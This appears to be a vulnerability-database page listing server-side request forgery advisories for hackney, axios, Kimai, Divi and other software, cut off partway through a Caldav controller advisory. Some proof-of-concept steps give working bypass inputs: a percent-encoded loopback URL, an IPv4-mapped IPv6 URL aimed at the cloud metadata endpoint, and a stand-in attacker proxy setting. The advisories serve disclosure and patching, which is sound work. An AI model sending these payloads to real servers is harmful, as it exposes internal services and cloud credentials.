CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6271 vulnerabilities reference this CWE, most recent first.
GHSA-PJ7V-XFVX-WMJQ
Vulnerability from github – Published: 2026-06-26 21:54 – Updated: 2026-06-26 21:54Summary
hackney_url:normalize/2 URL-decodes the host component of a parsed URL, but the caller's SSRF allowlist runs before normalization using OTP's uri_string:parse/1 and inet:parse_address/1, neither of which decodes percent-escapes in hostnames. A URL like http://%31%32%37%2E%30%2E%30%2E%31/ presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney's normalizer then decodes it to 127.0.0.1 and connects to loopback. Because hackney:request/5 always calls normalize/2 with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.
Details
In src/hackney_url.erl (lines 161–186), normalize/2 checks whether the parsed host is already a dotted-quad or IPv6 literal via inet_parse:address/1. Percent-encoded forms like %31%32%37%2E%30%2E%30%2E%31 fail that check and fall into the catch-all branch, where urldecode/1 decodes the host before passing it to IDNA conversion:
Host1 = binary_to_list(
urldecode(unicode:characters_to_binary(Host0))
),
The decoded host ("127.0.0.1") replaces the original in the returned #hackney_url{} record. hackney:request/5 at src/hackney.erl:463 always calls normalize/2, so the decoded host is what do_dispatch/1 and add_host_header/2 ultimately use. The on-wire Host: header and the TCP connect target both reflect the decoded value.
The same payload pattern reaches the AWS/GCP/Azure IMDS (169.254.169.254), RFC1918 ranges, and any localhost admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in parse_url/1 and did not touch normalize/2.
PoC
- Validate the URL with the canonical Erlang SSRF allowlist:
uri_string:parse/1returns host<<"%31%32%37%2E%30%2E%30%2E%31">>,inet:parse_address/1returns{error, einval}, so the allowlist accepts it. - Pass the same URL to
hackney:get/1. - hackney's
normalize/2decodes the host to"127.0.0.1"and connects to127.0.0.1:80. The internal service receives the request withHost: 127.0.0.1.
Impact
Unauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, localhost admin interfaces, and RFC1918 backends. CVSS v4.0: 6.9 (MEDIUM).
Resources
- Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a
- Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "hackney"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47076"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T21:54:55Z",
"nvd_published_at": "2026-05-25T15:16:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`hackney_url:normalize/2` URL-decodes the host component of a parsed URL, but the caller\u0027s SSRF allowlist runs before normalization using OTP\u0027s `uri_string:parse/1` and `inet:parse_address/1`, neither of which decodes percent-escapes in hostnames. A URL like `http://%31%32%37%2E%30%2E%30%2E%31/` presents an encoded, non-IP-looking host to the validator, which passes the allowlist check; hackney\u0027s normalizer then decodes it to `127.0.0.1` and connects to loopback. Because `hackney:request/5` always calls `normalize/2` with no opt-out, every request path that accepts a binary or list URL is affected. This is a parser-differential SSRF in the same class as CVE-2025-1211, but in a different function.\n\n### Details\n\nIn `src/hackney_url.erl` (lines 161\u2013186), `normalize/2` checks whether the parsed host is already a dotted-quad or IPv6 literal via `inet_parse:address/1`. Percent-encoded forms like `%31%32%37%2E%30%2E%30%2E%31` fail that check and fall into the catch-all branch, where `urldecode/1` decodes the host before passing it to IDNA conversion:\n\n```erlang\nHost1 = binary_to_list(\n urldecode(unicode:characters_to_binary(Host0))\n ),\n```\n\nThe decoded host (`\"127.0.0.1\"`) replaces the original in the returned `#hackney_url{}` record. `hackney:request/5` at `src/hackney.erl:463` always calls `normalize/2`, so the decoded host is what `do_dispatch/1` and `add_host_header/2` ultimately use. The on-wire `Host:` header and the TCP connect target both reflect the decoded value.\n\nThe same payload pattern reaches the AWS/GCP/Azure IMDS (`169.254.169.254`), RFC1918 ranges, and any `localhost` admin endpoint. The 1.21.0 patch for CVE-2025-1211 fixed a separate differential in `parse_url/1` and did not touch `normalize/2`.\n\n### PoC\n\n1. Validate the URL with the canonical Erlang SSRF allowlist: `uri_string:parse/1` returns host `\u003c\u003c\"%31%32%37%2E%30%2E%30%2E%31\"\u003e\u003e`, `inet:parse_address/1` returns `{error, einval}`, so the allowlist accepts it.\n2. Pass the same URL to `hackney:get/1`.\n3. hackney\u0027s `normalize/2` decodes the host to `\"127.0.0.1\"` and connects to `127.0.0.1:80`. The internal service receives the request with `Host: 127.0.0.1`.\n\n### Impact\n\nUnauthenticated SSRF bypassing the canonical Erlang allowlist pattern. Affects hackney 0.13.0 through 4.0.0 for any application that accepts attacker-supplied URLs. Targets include cloud IMDS endpoints, `localhost` admin interfaces, and RFC1918 backends. CVSS v4.0: **6.9 (MEDIUM)**.\n\n## Resources\n\n* Introduction commit: https://github.com/benoitc/hackney/commit/4d725507588942fd00efca15b86da3273656510a\n* Patch commit: https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f",
"id": "GHSA-pj7v-xfvx-wmjq",
"modified": "2026-06-26T21:54:55Z",
"published": "2026-06-26T21:54:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/benoitc/hackney/security/advisories/GHSA-pj7v-xfvx-wmjq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47076"
},
{
"type": "WEB",
"url": "https://github.com/benoitc/hackney/commit/452620a92ec1da2e6b4862a049a2a4f04b42068f"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-47076.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/benoitc/hackney"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-47076"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hackney has SSRF allowlist bypass in hackney_url:normalize/2 via percent-encoded host"
}
GHSA-PJ83-6473-35PQ
Vulnerability from github – Published: 2026-07-31 18:32 – Updated: 2026-07-31 18:32Server-Side Request Forgery in the PDF export component in maalfer Pentestify before 1.1.0 allows authenticated users to cause outbound HTTP GET requests from the server to arbitrary attacker-chosen destinations via unvalidated URLs stored in the finding images field or the report client_logo field, which the server-side headless browser fetches while rendering the report.
{
"affected": [],
"aliases": [
"CVE-2026-59231"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-31T16:17:08Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery in the PDF export component in maalfer Pentestify before 1.1.0 allows authenticated users to cause outbound HTTP GET requests from the server to arbitrary attacker-chosen destinations via unvalidated URLs stored in the finding images field or the report client_logo field, which the server-side headless browser fetches while rendering the report.",
"id": "GHSA-pj83-6473-35pq",
"modified": "2026-07-31T18:32:18Z",
"published": "2026-07-31T18:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59231"
},
{
"type": "WEB",
"url": "https://github.com/ccyl13/Pentestify/commit/a058a22b42c6311895622645265df79a60265b1d"
},
{
"type": "WEB",
"url": "https://github.com/ccyl13/Pentestify/releases/tag/v1.1.1"
},
{
"type": "WEB",
"url": "https://secur0.com/en/cna/cve-list/cve-2026-59231-ssrf-in-pentestify-via-unvalidated-image-urls-cve-id-cve-2026-59231"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PJ8J-P4G4-4VW8
Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04Summary
Kimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as Customer.invoiceText, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.
This allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.
Details
The vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.
- First, customer invoice text is copied into the invoice model. . Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter.
- Third,
md2htmlenables full Markdown rendering. - Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.
- Finally, the HTML is handed to mPDF.
The live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:
- attacker-controlled Markdown
- Markdown converted to HTML
- HTML rendered by mPDF
- mPDF fetches remote image resources from the server side
A PoC was provided, but removed for security reasons.
Impact
This vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.
Depending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.
Solution
- Kimai does not allow to use markdown images any longer and converts them to HTML links instead
- Kimai uses a specialized HttpClient for mPDF (called
NoPrivateNetworkHttpClient), which prevents access to a variety of URLs, the full list can be fetched from the documentation - This change can be a BC break, if someone used
- the Kimai domain for hosting invoice or export template images
- an internal IP for hosting invoice or export template images
See https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.57.0"
},
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.58.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49865"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T16:04:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nKimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.\n\nThis allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.\n\n### Details\n\nThe vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.\n\n- First, customer invoice text is copied into the invoice model.\n. Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. \n- Third, `md2html` enables full Markdown rendering. \n- Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.\n- Finally, the HTML is handed to mPDF. \n\nThe live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:\n\n- attacker-controlled Markdown\n- Markdown converted to HTML\n- HTML rendered by mPDF\n- mPDF fetches remote image resources from the server side\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.\n\nDepending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.\n\n# Solution\n\n- Kimai does not allow to use markdown images any longer and converts them to HTML links instead\n- Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images)\n- This change can be a BC break, if someone used \n - the Kimai domain for hosting invoice or export template images \n - an internal IP for hosting invoice or export template images \n\nSee https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8",
"id": "GHSA-pj8j-p4g4-4vw8",
"modified": "2026-07-10T16:04:40Z",
"published": "2026-07-10T16:04:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-pj8j-p4g4-4vw8"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kimai has Server-Side Request Forgery in Invoice PDF Rendering via Markdown Image URLs"
}
GHSA-PJPG-43J3-PGJ7
Vulnerability from github – Published: 2025-05-14 09:30 – Updated: 2025-05-14 09:30The Ninja Forms Webhooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.0.7 via the form webhook functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13940"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-14T09:15:18Z",
"severity": "MODERATE"
},
"details": "The Ninja Forms Webhooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.0.7 via the form webhook functionality. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-pjpg-43j3-pgj7",
"modified": "2025-05-14T09:30:25Z",
"published": "2025-05-14T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13940"
},
{
"type": "WEB",
"url": "https://ninjaforms.com/extensions/webhooks"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4cf2af62-2b5a-4c0a-9e82-f80dde204a9d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PJWM-PJ3P-43MV
Vulnerability from github – Published: 2026-05-29 15:59 – Updated: 2026-07-20 12:33Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
```javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
```
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.1"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44492"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T15:59:30Z",
"nvd_published_at": "2026-06-11T17:16:33Z",
"severity": "HIGH"
},
"details": "### Summary\nshouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as `127.0.0.1` or `169.254.169.254`, a request URL using the IPv4-mapped IPv6 form (`::ffff:7f00:1`, `::ffff:a9fe:a9fe`) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.\n\n### Details\nlib/helpers/shouldBypassProxy.js (v1.15.0): \n\n```javascript \n const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]); \n const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host); \n \n // normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix \n return hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost)); \n```\n \nThe WHATWG URL parser canonicalises `http://[::ffff:127.0.0.1]/` to hostname `[::ffff:7f00:1]`. After bracket-stripping: `::ffff:7f00:1`. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.\n\n### PoC\n```javascript\n\n// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080\nimport shouldBypassProxy from \u0027axios/lib/helpers/shouldBypassProxy.js\u0027; \n \n// All three should return true (bypass proxy). Only the first two do. \nconsole.log(shouldBypassProxy(\u0027http://127.0.0.1/\u0027)); // true [OK] \nconsole.log(shouldBypassProxy(\u0027http://[::1]/\u0027)); // true [OK] \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:127.0.0.1]/\u0027)); // false \u003c- bypass \nconsole.log(shouldBypassProxy(\u0027http://[::ffff:7f00:1]/\u0027)); // false \u003c- bypass\n\n``` \n \nNode.js routes ::ffff:7f00:1 to 127.0.0.1: \n\n``` \n// net.connect({ host: \u0027::ffff:7f00:1\u0027, port: 80 }) reaches a service \n// bound to 127.0.0.1:80 \u2014 confirmed on Node.js v24, Linux and macOS. \n``` \nCloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it. \n \n#### Fix \n \nCanonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison: \n \n ```javascript \nconst ipv4MappedDotted = /^::ffff:(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})$/i; \nconst ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i; \n \nfunction hexToIPv4(a, b) { \n const hi = parseInt(a, 16), lo = parseInt(b, 16); \n return `${hi \u003e\u003e 8}.${hi \u0026 0xff}.${lo \u003e\u003e 8}.${lo \u0026 0xff}`; \n} \n \nconst normalizeNoProxyHost = (hostname) =\u003e { \n if (!hostname) return hostname; \n if (hostname[0] === \u0027[\u0027 \u0026\u0026 hostname.at(-1) === \u0027]\u0027)\n hostname = hostname.slice(1, -1); \n hostname = hostname.replace(/\\.+$/, \u0027\u0027).toLowerCase();\n \n let m; \n if ((m = hostname.match(ipv4MappedDotted))) return m[1]; \n if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); \n return hostname; \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
"id": "GHSA-pjwm-pj3p-43mv",
"modified": "2026-07-20T12:33:05Z",
"published": "2026-05-29T15:59:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44492"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36611"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36754"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36882"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36883"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40119"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40138"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40262"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41031"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41055"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41064"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487938"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44492.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:28964"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29082"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:29197"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30650"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:30651"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33005"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34766"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36108"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "axios\u0027s shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
}
GHSA-PJXF-F8RH-3CJP
Vulnerability from github – Published: 2026-09-05 09:30 – Updated: 2026-09-05 09:30The Divi theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.27.6. This is due to the et_pb_set_video_oembed_thumbnail_resolution() function using wp_remote_get() instead of wp_safe_remote_get() to fetch a remote image URL, which does not restrict requests to private or reserved IP ranges. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application server. The response body is not returned to the attacker (blind SSRF), but two oracles exist: a status oracle (the returned URL string differs depending on whether the target responded with HTTP 200) and a timing oracle (response time varies by target reachability).
{
"affected": [],
"aliases": [
"CVE-2026-4361"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-05T07:17:11Z",
"severity": "MODERATE"
},
"details": "The Divi theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.27.6. This is due to the `et_pb_set_video_oembed_thumbnail_resolution()` function using `wp_remote_get()` instead of `wp_safe_remote_get()` to fetch a remote image URL, which does not restrict requests to private or reserved IP ranges. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application server. The response body is not returned to the attacker (blind SSRF), but two oracles exist: a status oracle (the returned URL string differs depending on whether the target responded with HTTP 200) and a timing oracle (response time varies by target reachability).",
"id": "GHSA-pjxf-f8rh-3cjp",
"modified": "2026-09-05T09:30:21Z",
"published": "2026-09-05T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4361"
},
{
"type": "WEB",
"url": "https://www.divichangelog.com/divi-update/divi-4/version-4-27-7"
},
{
"type": "WEB",
"url": "https://www.elegantthemes.com"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f35c0de9-abed-4cbf-a28c-48f8133a1bad?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PM5P-7W5H-JM5Q
Vulnerability from github – Published: 2026-07-29 16:24 – Updated: 2026-07-29 16:24Summary
Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.
Preconditions
- Backend login on the target instance. Non-admin attackers supply their own
provider_idand pass the per-row check atCaldav.php:52; admins can target any row. - Default deployment per the project's own
docker-compose.yml, which putsmysql,mailpit,phpmyadmin,baikal,openldap,phpldapadmin, andswagger-uion the same docker network asphp-fpm.
Details
// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
try {
$provider_id = request('provider_id');
$user_id = session('user_id');
